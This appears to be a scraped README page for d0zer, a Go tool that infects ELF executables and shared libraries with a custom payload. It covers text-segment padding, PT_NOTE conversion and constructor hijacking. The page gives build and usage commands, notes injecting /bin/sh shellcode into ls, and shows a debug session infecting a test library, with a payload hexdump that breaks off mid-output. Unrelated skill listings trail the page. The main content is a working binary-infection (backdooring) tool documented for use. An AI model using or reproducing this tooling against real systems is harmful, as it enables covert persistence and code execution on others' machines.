D0zer
Elf binary infector written in Go.
Install / Use
/learn @sad0p/D0zerREADME
d0zer
Elf binary infector written in Go. It can be used for infecting executables of type ET_DYN and ET_EXEC with a payload of your creation. Utilizing the classic elf text segment padding algorithm by Silvio Cesar, your payload (parasite) will run before native functionality of the binary effectively backooring the binary.
d0zer currently allows for up to a page size payload (4096 bytes). It is capable of infecting both x86_32 and x86_64 elf executable binaries executables.
Motivation
My motivations are quite simple, I like doing interesting things with the ELFs and binary infection of a target requires a decent amount of overhead knowledge and skill as a prerequisite to perform it (TO ME), so I set out to learn from papers, books and specs from the past (see references), throwed Golang in the middle for increased difficulty and here I am.
build
<pre> [sad0p@arch-deliberate d0zer]$ go version go version go1.21.2 linux/amd64 [sad0p@arch-deliberate d0zer]$ go build </pre>Usage
<pre> [sad0p@arch-deliberate d0zer]$ ./d0zer -help -ctorsHijack Hijack the first constructor in the target to start parasitic execution intead of modifying the OEP -debug see debug output (generated payload, modifications, etc) -help see this help menu -infectionAlgo string specify infection algorithm to use (default "TextSegmentPadding") -listAlgos list available infection algorithms -noPreserve prevents d0zer from prepending its register preservation routine to your payload -noRestoration prevents d0zer from appending register restoration routine to your payload -noRetOEP prevents d0zer from appending ret-to-OEP (continue execution after payload) to payload -payloadBin string path to binary containing payload -payloadEnv string name of the environmental variable holding the payload -target string path to binary targeted for infection [sad0p@arch-deliberate d0zer]$ </pre>Basic demo (benign) infection can be accomplished with ./dozer -target [path-to-target].
Supplying -debug allows you to see each step of the infection algorithm at work aswell as a hexdump of the payload as it will be in the binary.
A custom payload can be injected into the binary with the -payloadEnv flag. Below I inject a basic execve /bin/sh shellcode into the ls command as an example.
The -payloadBin flag is currently not implemented, it would allow you to supply a PIE (binary), where the contents of the text
segments would serve as the payload.
A list of supported infection algorithms can be seen with --listAlgos.
Infection algorithm TextSegmentPadding is the default algorithm of choice, however it is limited based on the size of the payload and the target. For arbitrary sized payloads, PtNoteToPtLoad is a better choice (however it is not as covert).
For entry point obfuscation, we can use -ctorsHijack option, this modifies relocations associated with .init_array section. The
.init_array section is essentially an array of function pointers that are called during runtime to be executed before main() or when dynamic linking of a shared object is performed, that is we can infect shared objects and have code execution performed with the -ctorsHijack option, code execution will take place in the context of the binary linking the shared object.
The following is an example of using -ctorsHijack (relative relocation poisoning/hijacking) to infect a shared library using TextSegmentPadding.
<pre> [sad0p@arch-deliberate testlib2]$ cat compile-lib.sh #!/bin/bash gcc -c -Wall -Werror -fpic foo.c; gcc -shared -o libfoo.so foo.o; gcc -L $PWD -Wall -o test main.c -lfoo; export LD_LIBRARY_PATH=$PWD:$LD_LIBRARY_PATH; /bin/bash; [sad0p@arch-deliberate testlib2]$ cat foo.c #include <stdio.h> void foo(void) { puts("Hello, I am a shared library"); } [sad0p@arch-deliberate testlib2]$ cat foo.h #ifndef foo_h__ #define foo_h__ extern void foo(void); #endif // foo_h__ [sad0p@arch-deliberate testlib2]$ cat main.c #include <stdio.h> #include "foo.h" int main(void) { puts("This is a shared library test..."); foo(); return 0; } [sad0p@arch-deliberate testlib2]$ cat foo.h #ifndef foo_h__ #define foo_h__ extern void foo(void); #endif // foo_h__ [sad0p@arch-deliberate testlib2]$ cat foo.c #include <stdio.h> void foo(void) { puts("Hello, I am a shared library"); } [sad0p@arch-deliberate testlib2]$ [sad0p@arch-deliberate testlib2]$ ./compile-lib.sh [sad0p@arch-deliberate testlib2]$ ls compile-lib.sh foo.c foo.h foo.o libfoo.so main.c test [sad0p@arch-deliberate testlib2]$ ./test This is a shared library test... Hello, I am a shared library [sad0p@arch-deliberate testlib2]$ ../../d0zer -target ./libfoo.so -infectionAlgo TextSegmentPadding -ctorsHijack -debug [+] Maximum payload size 0xed3 for ./libfoo.so [+] CtorsHijack requested. Locating and reading Dynamic Segment [+] 24 entries in Dynamic Segment [+] Located DT_RELA @ 0x0000000000000478 [+] DT_RELA has 24 entries [+] File offset of relocations @ 0x0000000000000478 [+] Found viable relocation record hooking/poisoning offset: 0x0000000000003df8 type: R_X86_64_RELATIVE Addend: 0x0000000000001100 [+] offset 0x0000000000002df8 updated with value (Addend) 000000000000112d [+] Text segment starts @ 0x1000 [+] Text segment ends @ 0x112d [+] Payload size pre-epilogue 0x5c [+] Appended default restoration stub [+] Generated and appended position independent return 2 OEP stub to payload [+] Payload size post-epilogue 0x90 ------------------PAYLOAD---------------------------- 00000000 54 50 51 53 52 56 57 55 41 50 41 51 41 52 41 53 |TPQSRVWUAPAQARAS| 00000010 41 54 41 55 41 56 41 57 eb 00 e8 2b 00 00 00 68 |ATAUAVAW...+...h| 00000020 65 6c 6c 6f 20 2d 2d 20 74 68 69 73 20 69 73 20 |ello -- this is | 00000030 61 20 6e 6f 6e 20 64 65 73 74 72 75 63 74 69 76 |a non destructiv| 00000040 65 20 70 61 79 6c 6f 61 64 0a b8 01 00 00 00 bf |e payload...Related Skills
node-connect
346.8kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
107.6kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
346.8kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
qqbot-media
346.8kQQBot 富媒体收发能力。使用 <qqmedia> 标签,系统根据文件扩展名自动识别类型(图片/语音/视频/文件)。
